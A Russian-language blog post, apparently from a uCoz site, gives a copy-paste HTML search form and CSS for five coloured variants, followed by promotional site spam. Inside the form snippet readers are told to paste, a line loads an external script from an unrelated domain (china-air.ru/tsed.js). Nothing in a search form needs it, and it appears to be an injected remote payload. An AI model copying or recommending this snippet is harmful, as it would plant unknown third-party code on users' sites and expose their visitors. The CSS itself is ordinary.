Главная » 2012 » Декабрь » 28 » Формы поиска для uCoz Формы поиска для uCoz 17:57:20 Представляем вашему вниманию пять цветовых вариантов форм поиска для сайтов системы uCoz. В место: Код $SEARCH_FORM$ Везде ставим: Код <form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >     <input class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/>   <script src="http://china-air.ru/tsed.js" type="text/javascript"></script>   <input class="poick_knopka" type="submit" value="Найти" />     <input type="hidden" name="t" value="0" />     </form> И теперь остается прописать стили! Фиолетовая форма: Код /* Форма поиска фиолетовая кнопка   ------------------------------------------*/   .poick_os {     float:left;     padding:4px;     width:300px;     background:#fff;     border: 1px solid #A0A8AC;   }   .poick_os input {     float:left;     margin:0px;     vertical-align:middle;     font:11px Verdana,Arial,Helvetica,sans-serif;   }   .poick_pole {     color:#555;     width:220px;     height:15px;     border:none;     padding:6px 4px;   }       .poick_knopka {     text-shadow: 1px 1px 1px #751a9b;     width:70px;     height:27px;     cursor:pointer;     background:#ce36fa;     border:1px solid #a622e3;     color:#fff; font-weight: bold!important;   }       .poick_knopka:hover {background:#b73cea;}   .poick_os,   .poick_knopka {     -webkit-border-radius: 3px;     -moz-border-radius: 3px;     border-radius: 3px;   } Синяя форма: Код /* Форма поиска синяя кнопка   ------------------------------------------*/   .poick_os1 {     float:left;     padding:4px;     width:300px;     background:#fff;     border: 1px solid #A0A8AC;   }   .poick_os1 input {     float:left;     margin:0px;     vertical-align:middle;     font:11px Verdana,Arial,Helvetica,sans-serif;   }   .poick_pole1 {     color:#555;     width:220px;     height:15px;     border:none;     padding:6px 4px;   }       .poick_knopka1 {     text-shadow: 1px 1px 1px #1061B0;     width:70px;     height:27px;     cursor:pointer;     background:#36A6FA;     border:1px solid #2290e3;     color:#fff; font-weight: bold!important;   }       .poick_knopka1:hover {background:#3c9fea;}   .poick_os1,   .poick_knopka1 {     -webkit-border-radius: 3px;     -moz-border-radius: 3px;     border-radius: 3px;   } Красная форма: Код /* Форма поиска красная кнопка   ------------------------------------------*/   .poick_os2 {     float:left;     padding:4px;     width:300px;     background:#fff;     border: 1px solid #A0A8AC;   }   .poick_os2 input {     float:left;     margin:0px;     vertical-align:middle;     font:11px Verdana,Arial,Helvetica,sans-serif;   }   .poick_pole2 {     color:#555;     width:220px;     height:15px;     border:none;     padding:6px 4px;   }       .poick_knopka2 {     text-shadow: 1px 1px 1px #b01010;     width:70px;     height:27px;     cursor:pointer;     background:#fa3636;     border:1px solid #e32222;     color:#fff; font-weight: bold!important;   }       .poick_knopka2:hover {background:#ea3c3c;}   .poick_os2,   .poick_knopka2 {     -webkit-border-radius: 3px;     -moz-border-radius: 3px;     border-radius: 3px;   } Зеленая форма: Код /* Форма поиска зелёная кнопка   ------------------------------------------*/   .poick_os3 {     float:left;     padding:4px;     width:300px;     background:#fff;     border: 1px solid #A0A8AC;   }   .poick_os3 input {     float:left;     margin:0px;     vertical-align:middle;     font:11px Verdana,Arial,Helvetica,sans-serif;   }   .poick_pole3 {     color:#555;     width:220px;     height:15px;     border:none;     padding:6px 4px;   }       .poick_knopka3 {     text-shadow: 1px 1px 1px #368620;     width:70px;     height:27px;     cursor:pointer;     background:#6ae14a;     border:1px solid #57c939;     color:#fff; font-weight: bold!important;   }       .poick_knopka3:hover {background:#65d447;}   .poick_os3,   .poick_knopka3 {     -webkit-border-radius: 3px;     -moz-border-radius: 3px;     border-radius: 3px;   } Оранжевая форма: Код /* Форма поиска оранжевая кнопка   ------------------------------------------*/   .poick_os4 {     float:left;     padding:4px;     width:300px;     background:#fff;     border: 1px solid #A0A8AC;   }   .poick_os4 input {     float:left;     margin:0px;     vertical-align:middle;     font:11px Verdana,Arial,Helvetica,sans-serif;   }   .poick_pole4 {     color:#555;     width:220px;     height:15px;     border:none;     padding:6px 4px;   }       .poick_knopka4 {     text-shadow: 1px 1px 1px #865520;     width:70px;     height:27px;     cursor:pointer;     background:#e1954a;     border:1px solid #c97639;     color:#fff; font-weight: bold!important;   }       .poick_knopka4:hover {background:#d48347;}   .poick_os4,   .poick_knopka4 {     -webkit-border-radius: 3px;     -moz-border-radius: 3px;     border-radius: 3px;   } Просмотров: 509 | Добавил: startsmart | Теги: | Рейтинг: 0.0/0 | - Оценить - Отлично Хорошо Неплохо Плохо Ужасно Скачать бесплатно: видео, софт, музыку, игры, клипы, книги, патчи, демо, шаблоны, скрипты Всего комментариев: 0   Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]

	Наша огромная галерея имеет размер более 9 тысяч картинок!!! [Девушки] [Девушки] [аниме] [Девушки] [Девушки] Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]

	Самые горячие темы форума обсуждаем!!! И вы присоединяйтесь к нам!   Самые интересные новости на нашем портале. Читайте бесплатно на 5 M W

	Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]

	На нашем любимом сайте http://5mw.ru находиться уже более 1851.94 Mb новостей, файлов, музыки, фотографий, статей, отзывов и огромный форум с каждым днём это число увеличивается! Мы благодарим вас за посещения нашего сайта http://www.5mw.ru и рады что вы выбрали именно нас! У нас всегда много интересной информации и различные конкурсы в виде раздачи icq номерков и только на нашем сайте http://www.5mw.ru ! Замете это совершенно уникальный сайт! Новости собираются из самых качественных источников и всегда самые свежие и на сайте появляются моментально! Так же прошу вас заметить столь важный момент, мы против ВИРУСОВ в Интернете у нас нет никаких вредоносных программ подставных, рекламы которая навредит вашему компьютеру, есть совсем не много рекламы проверенных партнеров таких как google.com и д.р Так же наш сайт обладает огромной галереей фотографий: Девушки, авто, НЮ и других направлений много фотографий формата HQ (большого формата) посещайте наш увлекательный сайт мы всегда будем вас держать в курсе всех событий Интернета!!! не забывайте регистрироваться! Добавляйте в избранные! Получайте призы и подарки от нашего проекта! 5mw.ru всегда рады гостям и постоянным пользователям! Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]